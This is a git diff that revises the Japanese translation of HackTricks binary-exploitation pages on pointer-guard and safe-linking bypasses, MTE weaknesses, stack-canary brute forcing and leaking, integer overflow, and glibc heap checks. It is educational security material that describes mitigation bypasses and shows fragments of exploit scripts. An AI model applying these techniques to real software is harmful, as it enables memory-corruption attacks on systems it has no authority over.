-ここで**L**はストレージ位置、**P**はFdポインタです。**L**が12ビット右にシフトされると、**P**の最上位ビットが露出します。これは、**XOR**の性質により、ビットが自分自身とXORされると0を出力するためです。
+ここで、**L**はストレージ位置、**P**はFdポインタです。**L**が12ビット右にシフトされると、**P**の最上位ビットが露出します。これは、**XOR**の性質により、ビットが自分自身とXORされると0を出力するためです。
-**アルゴリズムの主要なステップ:**
+**アルゴリズムの主要なステップ:**
-1. **最上位ビットの初期リーク**:シフトされた**L**と**P**をXORすることにより、**P**の上位12ビットを効果的に取得します。シフトされた部分の**L**はゼロになるため、**P**の対応するビットは変更されません。
-2. **ポインタビットの回復**:XORは可逆的であるため、結果とオペランドの1つを知っていれば、他のオペランドを計算できます。この特性を利用して、マングルされたポインタの部分と既知のビットセットを順次XORすることで、**P**のビット全体を推測します。
-3. **反復デマングリング**:このプロセスは繰り返され、各回で前のステップから得られた**P**の新たに発見されたビットを使用して、マングルされたポインタの次のセグメントをデコードします。すべてのビットが回復されるまで続けます。
-4. **決定論的ビットの処理**:**L**の最終的な12ビットはシフトにより失われますが、これらは決定論的であり、プロセス後に再構築できます。
+1. **最上位ビットの初期漏洩**: シフトされた**L**を**P**とXORすることにより、**P**の上位12ビットを効果的に取得します。シフトされた部分の**L**はゼロになるため、**P**の対応するビットは変更されません。
+2. **ポインタビットの回復**: XORは可逆的であるため、結果とオペランドの1つを知っていれば、他のオペランドを計算できます。この特性を利用して、マングルされたポインタの部分と既知のビットセットを順次XORすることで、**P**のビット全体を推測します。
+3. **反復デマングリング**: このプロセスは繰り返され、各回で前のステップから得られた**P**の新たに発見されたビットを使用して、マングルされたポインタの次のセグメントをデコードします。すべてのビットが回復されるまで続けます。
+4. **決定論的ビットの処理**: **L**の最終的な12ビットはシフトによって失われますが、これらは決定論的であり、プロセス後に再構築できます。
-このアルゴリズムの実装は、こちらで見つけることができます:[https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
+このアルゴリズムの実装はここにあります: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## ポインターガード
-ポインターガードは、glibcで使用される悪用緩和技術で、特に`atexit()`などのライブラリ呼び出しによって登録された関数ポインタを保護します。この保護は、ポインタをスクリューブラシで混乱させ、スレッドデータ(`fs:0x30`)に保存された秘密とXORし、ビット単位の回転を適用することを含みます。このメカニズムは、攻撃者が関数ポインタを上書きすることによって制御フローをハイジャックするのを防ぐことを目的としています。
+ポインターガードは、glibcで使用される悪用緩和技術で、特に`atexit()`のようなライブラリ呼び出しによって登録された関数ポインタを保護します。この保護は、ポインタをスクリューム(難読化)することによって行われ、64ビットの秘密とXORを行い、ビット単位の回転を適用します。このメカニズムは、攻撃者が関数ポインタを上書きすることによって制御フローをハイジャックするのを防ぐことを目的としています。
-### **リークを使用したポインターガードのバイパス**
+### **漏洩を伴うポインターガードのバイパス**
-1. **ポインターガード操作の理解**:ポインタのスクリューブラシ(マングリング)は、64ビットの秘密とXORし、0x11ビットの左回転を行う`PTR_MANGLE`マクロを使用して行われます。元のポインタを回復するための逆操作は`PTR_DEMANGLE`によって処理されます。
-2. **攻撃戦略**:攻撃は、攻撃者がポインタの元のバージョンとマングルされたバージョンの両方を知る必要がある既知の平文アプローチに基づいています。
-3. **既知の平文を悪用する**:
-- **固定関数ポインタの特定**:glibcのソースコードや初期化された関数ポインタテーブル(`__libc_pthread_functions`など)を調べることで、攻撃者は予測可能な関数ポインタを見つけることができます。
-- **秘密の計算**:`__pthread_attr_destroy`のような既知の関数ポインタと関数ポインタテーブルからのそのマングルされたバージョンを使用して、マングルされたポインタを逆回転(右回転)し、関数のアドレスとXORすることで秘密を計算できます。
-4. **代替平文**:攻撃者は、0や-1のような既知の値でポインタをマングルして、これらがメモリ内で識別可能なパターンを生成するかどうかを確認することもできます。これにより、メモリダンプ内でこれらのパターンが見つかった場合に秘密が明らかになる可能性があります。
-5. **実用的な応用**:秘密を計算した後、攻撃者は制御された方法でポインタを操作し、libcベースアドレスの知識と任意のメモリ位置を読み取る能力を持って、マルチスレッドアプリケーションにおけるポインターガード保護を実質的にバイパスできます。
+1. **ポインターガード操作の理解**: ポインタのスクリューム(マングリング)は、ポインタを64ビットの秘密とXORし、0x11ビットの左回転を行う`PTR_MANGLE`マクロを使用して行われます。元のポインタを回復するための逆操作は`PTR_DEMANGLE`によって処理されます。
+2. **攻撃戦略**: 攻撃は、攻撃者がポインタの元のバージョンとマングルされたバージョンの両方を知る必要がある既知の平文アプローチに基づいています。
+3. **既知の平文を悪用する**:
+- **固定関数ポインタの特定**: glibcのソースコードや初期化された関数ポインタテーブル(`__libc_pthread_functions`など)を調べることで、攻撃者は予測可能な関数ポインタを見つけることができます。
+- **秘密の計算**: `__pthread_attr_destroy`のような既知の関数ポインタと、その関数ポインタテーブルからのマングルされたバージョンを使用して、マングルされたポインタを右回転させてから関数のアドレスとXORすることで秘密を計算できます。
+4. **代替平文**: 攻撃者は、0や-1のような既知の値でポインタをマングルして、これらがメモリ内で識別可能なパターンを生成するかどうかを確認することもできます。これにより、メモリダンプ内でこれらのパターンが見つかった場合に秘密が明らかになる可能性があります。
+5. **実用的な応用**: 秘密を計算した後、攻撃者は制御された方法でポインタを操作し、libcベースアドレスの知識と任意のメモリ位置を読み取る能力を持って、マルチスレッドアプリケーションにおけるポインターガード保護を実質的にバイパスできます。
## 参考文献
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
index c89dc6dd4..e59c3c2f9 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md
@@ -4,13 +4,13 @@
## 基本情報
-**メモリ タギング拡張 (MTE)** は、**バッファオーバーフローや使用後の解放脆弱性**などのメモリ関連エラーを**検出および防止する**ことで、ソフトウェアの信頼性とセキュリティを向上させるように設計されています。MTEは、**ARM**アーキテクチャの一部として、**各メモリ割り当てに小さなタグを付ける**メカニズムと、そのメモリを参照する**各ポインタに対応するタグを付ける**メカニズムを提供します。このアプローチにより、実行時に不正なメモリアクセスを検出でき、任意のコードを実行するための脆弱性を悪用するリスクが大幅に低減されます。
+**メモリ タギング拡張 (MTE)** は、**バッファオーバーフローや使用後解放の脆弱性**などのメモリ関連エラーを**検出し防止する**ことで、ソフトウェアの信頼性とセキュリティを向上させるように設計されています。MTEは、**ARM**アーキテクチャの一部として、**各メモリ割り当てに小さなタグを付け**、そのメモリを参照する**各ポインタに対応するタグを付ける**メカニズムを提供します。このアプローチにより、実行時に不正なメモリアクセスを検出でき、任意のコードを実行するための脆弱性を悪用するリスクが大幅に低減されます。
### **メモリ タギング拡張の動作方法**
-MTEは、**メモリを小さな固定サイズのブロックに分割し、各ブロックにタグを割り当てる**ことによって動作します。通常、タグは数ビットのサイズです。
+MTEは、**メモリを小さな固定サイズのブロックに分割し、各ブロックにタグを割り当てる**ことによって動作します。通常、タグは数ビットのサイズです。
-ポインタがそのメモリを指すように作成されると、同じタグが付与されます。このタグは、**メモリポインタの未使用ビットに保存され**、ポインタを対応するメモリブロックに効果的にリンクします。
+そのメモリを指すポインタが作成されると、同じタグが付与されます。このタグは、**メモリポインタの未使用ビットに保存され**、ポインタを対応するメモリブロックに効果的にリンクします。
.png)
@@ -57,23 +57,23 @@ CPUは**非同期に**タグをチェックし、一致しない場合はシス
ハードウェアタグベースのKASAN、MTEベースのKASAN、またはカーネル内MTEと呼ばれます。\
カーネルアロケータ(`kmalloc`など)は、このモジュールを**呼び出し**、使用するタグを準備し(ランダムに)、カーネル空間に割り当てられたものと返されたポインタに付加します。
-要求されたサイズに対して**十分なメモリグラニュール**(各16B)のみを**マーク**することに注意してください。したがって、要求されたサイズが35で、60Bのスラブが与えられた場合、最初の16\*3 = 48Bがこのタグでマークされ、**残り**は**無効なタグ(0xE)**で**マーク**されます。
+要求されたサイズに対して**十分なメモリグラニュール**(各16B)のみを**マーク**することに注意してください。したがって、要求されたサイズが35で、60Bのスラブが与えられた場合、最初の16\*3 = 48Bにこのタグがマークされ、**残り**は**無効なタグ(0xE)**で**マーク**されます。
-タグ**0xF**は**すべてのポインタに一致**します。このポインタを持つメモリは、**任意のタグを使用して**そのメモリにアクセスすることを許可します(一致しません)。これは、攻撃されたメモリでこのタグが使用されている場合、METが攻撃を検出するのを防ぐ可能性があります。
+タグ**0xF**は**すべてのポインタに一致**します。このポインタを持つメモリは、**任意のタグを使用して**そのメモリにアクセスすることを許可します(一致しません)。このタグが攻撃されたメモリで使用されている場合、METが攻撃を検出するのを防ぐ可能性があります。
したがって、0xEと0xFが予約されているため、タグを生成するために使用できるのは**14の値**のみであり、タグの**再利用の確率**は1/17 -> 約**7%**です。
-カーネルが**無効なタググラニュール**にアクセスすると、**不一致**が**検出**されます。別のメモリ位置にアクセスした場合、**メモリが異なるタグ**(または無効なタグ)を持っていると、不一致が**検出**されます。攻撃者が運が良く、メモリが同じタグを使用している場合、検出されません。確率は約7%です。
+カーネルが**無効なタググラニュール**にアクセスすると、**不一致**が**検出**されます。別のメモリ位置にアクセスした場合、**メモリが異なるタグ**(または無効なタグ)を持っていると、不一致が**検出**されます。攻撃者が運が良く、メモリが同じタグを使用している場合は、検出されません。確率は約7%です。
もう1つのバグは、割り当てられたメモリの**最後のグラニュール**で発生します。アプリケーションが35Bを要求した場合、32から48のグラニュールが与えられました。したがって、**36から47のバイトは同じタグを使用しています**が、要求されていません。攻撃者が**これらの追加バイトにアクセスすると、これは検出されません**。
-**`kfree()`**が実行されると、メモリは無効なメモリタグで再タグ付けされるため、**use-after-free**の際にメモリに再度アクセスすると、**不一致が検出**されます。
+**`kfree()`**が実行されると、メモリは無効なメモリタグで再タグ付けされるため、**use-after-free**の際にメモリに再度アクセスすると、**不一致が検出されます**。
-ただし、use-after-freeの場合、同じ**チャンクが以前と同じタグで再割り当て**されると、攻撃者はこのアクセスを利用でき、これは検出されません(約7%の確率)。
+ただし、use-after-freeの場合、同じ**チャンクが以前と同じタグで再割り当てされると**、攻撃者はこのアクセスを利用でき、これは検出されません(約7%の確率)。
さらに、**`slab`と`page_alloc`**のみがタグ付きメモリを使用しますが、将来的には`vmalloc`、`stack`、および`globals`でも使用される予定です(ビデオの時点では、これらはまだ悪用可能です)。
-**不一致が検出される**と、カーネルはさらなる悪用とエクスプロイトの再試行を防ぐために**パニック**します(MTEには偽陽性はありません)。
+**不一致が検出されると**、カーネルはさらなる悪用とエクスプロイトの再試行を防ぐために**パニック**します(MTEには偽陽性はありません)。
## 参考文献
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
index 2949cfac2..ad1f61042 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md
@@ -1,14 +1,14 @@
-# BF Forked & Threaded Stack Canaries
+# BFフォークされたおよびスレッド化されたスタックカナリア
{{#include ../../../banners/hacktricks-training.md}}
-**カナリアとPIE(位置独立実行可能ファイル)によって保護されたバイナリに直面している場合、バイパスする方法を見つける必要があります。**
+**カナリアとPIE(位置独立実行可能ファイル)によって保護されたバイナリに直面している場合、これらをバイパスする方法を見つける必要があるかもしれません。**
.png>)
> [!NOTE]
> **`checksec`** がバイナリがカナリアによって保護されていることを見つけられない場合があります。これは静的にコンパイルされており、関数を特定できないためです。\
-> ただし、関数呼び出しの最初にスタックに値が保存され、この値が終了前にチェックされることを見つけることで、手動で気づくことができます。
+> ただし、関数呼び出しの最初にスタックに値が保存され、その値が終了前にチェックされるのを見つけることで、手動で気づくことができます。
## ブルートフォースカナリア
@@ -16,7 +16,7 @@
したがって、カナリアをバイパスする最良の方法は、**文字ごとにブルートフォースすること**であり、推測したカナリアバイトが正しいかどうかは、プログラムがクラッシュしたか、通常のフローを続けているかを確認することで判断できます。この例では、関数は**8バイトのカナリア(x64)をブルートフォースし**、正しく推測されたバイトと不正なバイトを**チェック**することで区別します。サーバーから**レスポンス**が返されるかどうかを確認します(**他の状況**では**try/except**を使用することもできます):
-### 例 1
+### 例1
この例は64ビット用に実装されていますが、32ビット用にも簡単に実装できます。
```python
@@ -57,10 +57,10 @@ print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
-### 例2
+### 例 2
これは32ビット用に実装されていますが、64ビットに簡単に変更できます。\
-また、この例では**プログラムが最初に入力のサイズを示すバイト**とペイロードを期待していることに注意してください。
+また、この例では**プログラムが最初に入力のサイズを示すバイトとペイロードを期待している**ことに注意してください。
```python
from pwn import *
@@ -103,13 +103,13 @@ log.info(f"The canary is: {canary}")
```
## スレッド
-同じプロセスのスレッドは**同じカナリアトークンを共有する**ため、バイナリが攻撃のたびに新しいスレッドを生成する場合、カナリアを**ブルートフォース**することが可能です。
+同じプロセスのスレッドは**同じカナリアトークンを共有する**ため、バイナリが攻撃のたびに新しいスレッドを生成する場合、カナリアを**ブルートフォース**することが可能です。
-さらに、カナリアで保護された**スレッド関数のバッファオーバーフロー**を利用して、**TLSに保存されたマスターカナリアを変更する**ことができます。これは、スレッドの**スタック**内での**bof**を介してTLSが保存されているメモリ位置に到達することが可能であるためです。\
+さらに、カナリアで保護された**スレッド関数内のバッファオーバーフロー**を使用して、**TLSに保存されたマスターカナリアを変更する**ことができます。これは、スレッドの**スタック内のbof**を介してTLSが保存されているメモリ位置に到達することが可能であるためです。\
その結果、チェックは同じ(ただし変更された)2つのカナリアを使用しているため、緩和策は無意味です。\
-この攻撃は、次の書き込みで実行されます: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
+この攻撃は次の書き込みで実行されます: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
-また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションも確認してください。ここでは、通常**TLS**は**`mmap`**によって保存され、**スレッド**の**スタック**が作成されるときも`mmap`によって生成されるため、前述の書き込みで示されたようにオーバーフローが可能になることが言及されています。
+また、[https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015)のプレゼンテーションも確認してください。ここでは、通常**TLS**は**`mmap`**によって保存され、**スレッド**の**スタック**が作成されるときも`mmap`によって生成されるため、前述の書き込みで示されたようにオーバーフローが可能であることが言及されています。
## その他の例と参考文献
diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
index 58006b8f5..4a8284f2c 100644
--- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
+++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md
@@ -4,7 +4,7 @@
## Enlarge printed stack
-スタックオーバーフローに脆弱な**プログラム**が**スタックオーバーフロー**の**一部**を指す**puts**関数を実行できる状況を想像してください。攻撃者は**カナリアの最初のバイトがヌルバイト**(`\x00`)であり、残りのカナリアは**ランダム**なバイトであることを知っています。次に、攻撃者は**カナリアの最初のバイト**までスタックを**上書きする**オーバーフローを作成することができます。
+スタックオーバーフローに**脆弱なプログラム**が**スタックオーバーフロー**の**一部**を指す**puts**関数を実行できる状況を想像してください。攻撃者は**カナリアの最初のバイトがヌルバイト**(`\x00`)であり、残りのカナリアは**ランダム**なバイトであることを知っています。次に、攻撃者は**カナリアの最初のバイト**までスタックを**上書きする**オーバーフローを作成することができます。
その後、攻撃者はペイロードの中間で**puts機能**を呼び出し、**カナリアのすべて**を**印刷**します(最初のヌルバイトを除く)。
@@ -12,7 +12,7 @@
明らかに、この戦術は非常に**制限されて**おり、攻撃者は**ペイロードの内容**を**印刷**して**カナリアを抽出**し、その後**新しいペイロード**を作成して(**同じプログラムセッション内で**)**実際のバッファオーバーフローを送信**する必要があります。
-**CTFの例:**
+**CTFの例:**
- [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
- 64ビット、ASLRが有効ですがPIEはなし、最初のステップはカナリアのバイト0x00までオーバーフローを埋めてからputsを呼び出して漏洩させることです。カナリアを使ってROPガジェットを作成し、putsを呼び出してGOTからputsのアドレスを漏洩させ、次に`system('/bin/sh')`を呼び出すROPガジェットを作成します。
@@ -21,7 +21,7 @@
## Arbitrary Read
-フォーマット**文字列**によって提供される**任意の読み取り**を使用すると、カナリアを漏洩させることができるかもしれません。この例を確認してください: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) そして、任意のメモリアドレスを読み取るためにフォーマット文字列を悪用することについては以下を参照してください:
+フォーマット**文字列**によって提供される**任意の読み取り**を使用すると、カナリアを漏洩させることができるかもしれません。この例を確認してください: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) そして、任意のメモリアドレスを読み取るためにフォーマット文字列を悪用することについては:
{{#ref}}
../../format-strings/
diff --git a/src/binary-exploitation/integer-overflow.md b/src/binary-exploitation/integer-overflow.md
index 996323b8b..68deb1daf 100644
--- a/src/binary-exploitation/integer-overflow.md
+++ b/src/binary-exploitation/integer-overflow.md
@@ -4,7 +4,7 @@
## 基本情報
-**整数オーバーフロー**の核心は、コンピュータプログラミングにおけるデータ型の**サイズ**によって課せられる制限とデータの**解釈**です。
+**整数オーバーフロー**の核心には、コンピュータプログラミングにおけるデータ型の**サイズ**によって課せられる制限とデータの**解釈**があります。
例えば、**8ビット符号なし整数**は**0から255**までの値を表すことができます。8ビット符号なし整数に256の値を格納しようとすると、そのストレージ容量の制限により0にラップアラウンドします。同様に、**16ビット符号なし整数**は**0から65,535**までの値を保持でき、65,535に1を加えると値は0に戻ります。
@@ -54,7 +54,7 @@ return 0;
## 例
-### 純粋なオーバーフロー
+### ピュアオーバーフロー
印刷された結果は0になります。なぜなら、charがオーバーフローしたからです:
```c
@@ -69,7 +69,7 @@ return 0;
```
### Signed to Unsigned Conversion
-ユーザー入力から符号付き整数が読み取られ、その後適切な検証なしに符号なし整数として扱われる状況を考えてみてください:
+ユーザー入力から符号付き整数が読み取られ、その後適切な検証なしに符号なし整数として扱われる状況を考えてみてください:
```c
#include
@@ -99,7 +99,7 @@ return 0;
- パスワードのサイズを格納するために1Bしか使用されていないため、オーバーフローさせて実際の長さが260であるにもかかわらず、長さが4であると考えさせることが可能で、長さチェック保護を回避します。
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
-- 数値の組み合わせを与えられた場合、z3を使用して最初の数値と掛け算して2番目の数値を得る新しい数値を見つけます:
+- 数値の組み合わせを与えられた場合、z3を使用して最初の数値と掛け算して2番目の数値を得る新しい数値を見つけます:
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
@@ -110,6 +110,6 @@ return 0;
## ARM64
-この**ARM64では変わりません**。 [**このブログ記事**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)で見ることができます。
+これは**ARM64では変わりません**。詳細は[**このブログ記事**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)を参照してください。
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
index 5c75fddec..7618489bc 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/heap-functions-security-checks.md
@@ -10,7 +10,7 @@
unlink.md
{{#endref}}
-実施されたチェックの概要は次のとおりです:
+実施されたチェックの概要は以下の通りです:
- チャンクの指定サイズが次のチャンクに示された `prev_size` と同じか確認
- エラーメッセージ: `corrupted size vs. prev_size`
@@ -39,7 +39,7 @@ malloc-and-sysmalloc.md
- **スモールビン検索中のチェック:**
- `victim->bk->fd != victim` の場合:
- エラーメッセージ: `malloc(): smallbin double linked list corrupted`
-- **各ファストビンチャンクに対して実施される統合中のチェック:**
+- **各ファストビンチャンクに対して行われる統合中のチェック:**
- チャンクがアラインされていない場合トリガー:
- エラーメッセージ: `malloc_consolidate(): unaligned fastbin chunk detected`
- チャンクがインデックスのために異なるサイズを持っている場合:
@@ -53,7 +53,7 @@ malloc-and-sysmalloc.md
- エラーメッセージ: `malloc(): invalid next size (unsorted)`
- 次のチャンクによって示された前のサイズがチャンクのサイズと異なる場合:
- エラーメッセージ: `malloc(): mismatching next->prev_size (unsorted)`
-- `victim->bck->fd == victim` または `victim->fd == av (arena)` でない場合:
+- `victim->bck->fd == victim` でない場合、または `victim->fd == av (arena)` でない場合:
- エラーメッセージ: `malloc(): unsorted double linked list corrupted`
- 常に最後のものをチェックしているため、その fd は常に arena 構造体を指している必要があります。
- 次のチャンクが前のチャンクが使用中であることを示していない場合:
@@ -135,7 +135,7 @@ free.md
## **`_int_free_create_chunk`**
- **`_int_free_create_chunk` のチェック:**
-- ソートされていないビンにチャンクを追加する際、`unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` を確認:
+- チャンクをソートされていないビンに追加する際、`unsorted_chunks(av)->fd->bk == unsorted_chunks(av)` を確認:
- エラーメッセージ: `free(): corrupted unsorted chunks`
## `do_check_malloc_state`
diff --git a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
index 58a97cf4b..6561c585e 100644
--- a/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
+++ b/src/binary-exploitation/libc-heap/heap-memory-functions/malloc-and-sysmalloc.md
@@ -4,11 +4,11 @@
## Allocation Order Summary
-(この要約ではチェックは説明されておらず、簡潔さのためにいくつかのケースが省略されています)
+(この要約ではチェックは説明されておらず、いくつかのケースは簡潔さのために省略されています)
1. `__libc_malloc` は tcache からチャンクを取得しようとし、できなければ `_int_malloc` を呼び出します。
-2. `_int_malloc` :
-1. アリーナがない場合は生成しようとします。
+2. `_int_malloc` :
+1. アリーナが存在しない場合、生成しようとします。
2. 正しいサイズのファストビンチャンクがあれば、それを使用します。
1. 他のファストチャンクで tcache を埋めます。
3. 正しいサイズのスモールビンチャンクがあれば、それを使用します。
@@ -17,7 +17,7 @@
5. 未ソートビンをチェックし、十分なスペースのある最初のチャンクを使用します。
1. 見つかったチャンクが大きければ、それを分割して一部を返し、残りを未ソートビンに戻します。
2. チャンクがリクエストされたサイズと同じであれば、それを返すのではなく tcache を埋めるために使用します(tcache が満杯になるまで、その後は次のものを返します)。
-3. チェックした各小さいサイズのチャンクは、それぞれのスモールまたはラージビンに入れます。
+3. チェックされた各小さいサイズのチャンクは、それぞれのスモールまたはラージビンに入れます。
6. リクエストされたサイズのインデックスでラージビンをチェックします。
1. リクエストされたサイズより大きい最初のチャンクから探し始め、見つかればそれを返し、残りをスモールビンに追加します。
7. 次のインデックスからラージビンをチェックし、最後まで続けます。
@@ -31,7 +31,7 @@
-__libc_malloc code
+__libc_malloc コード
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@@ -102,7 +102,7 @@ return victim;
```
-返されたポインタは常に `tag_new_usable` でタグ付けされることに注意してください。コードから:
+返されるポインタは常に `tag_new_usable` でタグ付けされることに注意してください。コードから:
```c
void *tag_new_usable (void *ptr)
@@ -113,11 +113,11 @@ recolored for accessing the memory there.
```
## \_int_malloc
-これは、他のビンとトップチャンクを使用してメモリを割り当てる関数です。
+この関数は、他のビンとトップチャンクを使用してメモリを割り当てます。
- 開始
-リクエストされたメモリスペースが必要とする実際のサイズを取得し、いくつかの変数を定義することから始まります:
+リクエストされたメモリ空間が持つ必要がある実際のサイズを取得し、いくつかの変数を定義することから始まります:
@@ -188,16 +188,16 @@ return p;
```
-### Fast Bin
+### ファストビン
-必要なサイズがFast Binsのサイズ内にある場合、fast binからチャンクを使用しようとします。基本的に、サイズに基づいて、有効なチャンクが存在するべきfast binインデックスを見つけ、もしあれば、その中の1つを返します。\
-さらに、tcacheが有効な場合、そのサイズのtcache binを**fast binsで埋めます**。
+必要なサイズがファストビンのサイズ内にある場合、ファストビンからチャンクを使用しようとします。基本的に、サイズに基づいて、有効なチャンクが存在するファストビンインデックスを見つけ、もしあれば、その中の1つを返します。\
+さらに、tcacheが有効な場合、そのサイズのtcacheビンをファストビンで**埋めます**。
これらのアクションを実行する際に、いくつかのセキュリティチェックがここで実行されます:
- チャンクが不整合な場合: `malloc(): unaligned fastbin chunk detected 2`
- 前方チャンクが不整合な場合: `malloc(): unaligned fastbin chunk detected`
-- 返されたチャンクのサイズがfast binのインデックスのために正しくない場合: `malloc(): memory corruption (fast)`
+- 返されたチャンクのサイズがファストビンのインデックスのために正しくない場合: `malloc(): memory corruption (fast)`
- tcacheを埋めるために使用されたチャンクが不整合な場合: `malloc(): unaligned fastbin chunk detected 3`
@@ -285,11 +285,11 @@ return p;
コメントに示されているように、スモールビンはインデックスごとに1つのサイズを保持するため、有効なチャンクが利用可能かどうかのチェックは非常に速く、ファストビンの後にスモールビンがチェックされます。
-最初のチェックは、要求されたサイズがスモールビンの中にあるかどうかを確認することです。その場合、対応する**インデックス**をスモールビンの中で取得し、**利用可能なチャンクがあるかどうか**を確認します。
+最初のチェックは、要求されたサイズがスモールビンの中にあるかどうかを確認することです。その場合、対応する**インデックス**を取得し、**利用可能なチャンクがあるかどうか**を確認します。
次に、セキュリティチェックが行われます:
-- `victim->bk->fd = victim`であるかどうか。両方のチャンクが正しくリンクされていることを確認します。
+- `victim->bk->fd = victim` であるかどうか。両方のチャンクが正しくリンクされていることを確認します。
その場合、チャンクは**`inuse`ビットを取得し、**二重リンクリストが修正されるため、このチャンクはリストから消えます(使用されるため)、必要に応じて非メインアリーナビットが設定されます。
@@ -391,13 +391,13 @@ malloc_consolidate (av);
malloc consolidate関数は基本的に、ファストビンからチャンクを削除し、それらを未ソートビンに配置します。次のmallocの後、これらのチャンクはそれぞれの小/ファストビンに整理されます。
-これらのチャンクを削除する際、使用されていない前のチャンクまたは次のチャンクが見つかった場合、それらは**リンク解除されてマージ**され、最終的なチャンクが**未ソート**ビンに配置されます。
+これらのチャンクを削除する際、使用されていない前後のチャンクが見つかった場合、それらは**unliked and merged**され、最終的なチャンクが**unsorted**ビンに配置される前に処理されます。
各ファストビンチャンクに対して、いくつかのセキュリティチェックが実行されます:
- チャンクがアラインされていない場合のトリガー: `malloc_consolidate(): unaligned fastbin chunk detected`
-- チャンクのサイズが、そのインデックスに基づいているべきサイズと異なる場合: `malloc_consolidate(): invalid chunk size`
-- 前のチャンクが使用されておらず、前のチャンクのサイズが`prev_chunk`によって示されるサイズと異なる場合: `corrupted size vs. prev_size in fastbins`
+- チャンクのサイズが、インデックスに基づいているべきサイズと異なる場合: `malloc_consolidate(): invalid chunk size`
+- 前のチャンクが使用されておらず、前のチャンクのサイズが`prev_chunk`で示されているサイズと異なる場合: `corrupted size vs. prev_size in fastbins`
@@ -504,26 +504,26 @@ av->top = p;
```
-### 未整理のビン
+### 未整理ビン
-有効なチャンクを使用するために未整理のビンを確認する時が来ました。
+有効なチャンクを使用するために未整理ビンを確認する時が来ました。
#### 開始
-これは、大きなforループから始まり、`bk`方向に未整理のビンをトラバースし、`while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`で最後(アリーナ構造体)に到達します。
+これは、`bk`方向に未整理ビンを横断する大きなforループから始まります。`while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))`で終わり(アリーナ構造体)に到達するまで続きます。
さらに、新しいチャンクが考慮されるたびにいくつかのセキュリティチェックが行われます:
- チャンクサイズが奇妙な場合(小さすぎるまたは大きすぎる):`malloc(): invalid size (unsorted)`
- 次のチャンクサイズが奇妙な場合(小さすぎるまたは大きすぎる):`malloc(): invalid next size (unsorted)`
-- 次のチャンクによって示された前のサイズがチャンクのサイズと異なる場合:`malloc(): mismatching next->prev_size (unsorted)`
+- 次のチャンクによって示される前のサイズがチャンクのサイズと異なる場合:`malloc(): mismatching next->prev_size (unsorted)`
- `victim->bck->fd == victim`でないか、または`victim->fd == av`(アリーナ)でない場合:`malloc(): unsorted double linked list corrupted`
- 常に最後のものをチェックしているため、`fd`は常にアリーナ構造体を指している必要があります。
- 次のチャンクが前のチャンクが使用中であることを示していない場合:`malloc(): invalid next->prev_inuse (unsorted)`
-_int_malloc
未整理のビン開始
+_int_malloc
未整理ビン開始
```c
/*
Process recently freed or remaindered chunks, taking one only if
@@ -576,11 +576,11 @@ malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");
#### `in_smallbin_range` の場合
-チャンクが要求されたサイズより大きい場合はそれを使用し、チャンクの残りのスペースを未ソートリストに設定し、`last_remainder` をそれで更新します。
